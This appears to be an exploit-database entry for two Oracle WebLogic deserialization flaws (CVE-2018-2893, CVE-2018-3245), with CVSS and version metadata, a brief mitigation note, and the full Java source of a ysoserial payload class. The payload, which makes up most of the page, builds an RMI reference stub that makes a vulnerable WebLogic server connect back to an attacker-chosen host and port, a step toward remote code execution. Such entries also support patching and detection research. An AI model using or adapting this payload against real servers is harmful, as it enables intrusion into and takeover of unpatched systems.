Oracle WebLogic Two RCE Deserialization Vulnerabilities

vendor:

WebLogic Server

by:

Zhiyi Zhang

9.8

CVSS

CRITICAL

Remote Code Execution

502

CWE

Product Name: WebLogic Server

Affected Version From: 10.3.6.0.0

Affected Version To: 12.2.1.3.0

Patch Exists: YES

Related CWE: CVE-2018-2893, CVE-2018-3245

CPE: a:oracle:weblogic_server

Metasploit: https://www.rapid7.com/db/vulnerabilities/oracle-weblogic-cve-2018-2893/, https://www.rapid7.com/db/vulnerabilities/oracle-weblogic-cve-2018-3245/

Other Scripts: N/A

Platforms Tested: Windows, Linux, Mac

2018

Oracle WebLogic Two RCE Deserialization Vulnerabilities

JRMPClient_20180718_bypass01 is a payload from ysoserial which can be used to exploit two remote code execution vulnerabilities in Oracle WebLogic. The payload uses the ReferenceWrapper_Stub class to create a remote object invocation handler which can be used to execute arbitrary code on the vulnerable server.

Mitigation:

Oracle has released a patch for this vulnerability. Users should update their Oracle WebLogic server to the latest version.

Source

Exploit-DB raw data:

// All respects goes to Zhiyi Zhang of 360 ESG Codesafe Team
// URL: https://blogs.projectmoon.pw/2018/10/19/Oracle-WebLogic-Two-RCE-Deserialization-Vulnerabilities/
package ysoserial.payloads;

import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;


@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient_20180718_bypass01 extends PayloadRunner implements
ObjectPayload<ReferenceWrapper_Stub> {
    public ReferenceWrapper_Stub getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        ReferenceWrapper_Stub stud = new ReferenceWrapper_Stub(ref);
        return stud;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient_20180718_bypass01.class.getClassLoader());
        PayloadRunner.run(JRMPClient_20180718_bypass01.class, args);
    }
}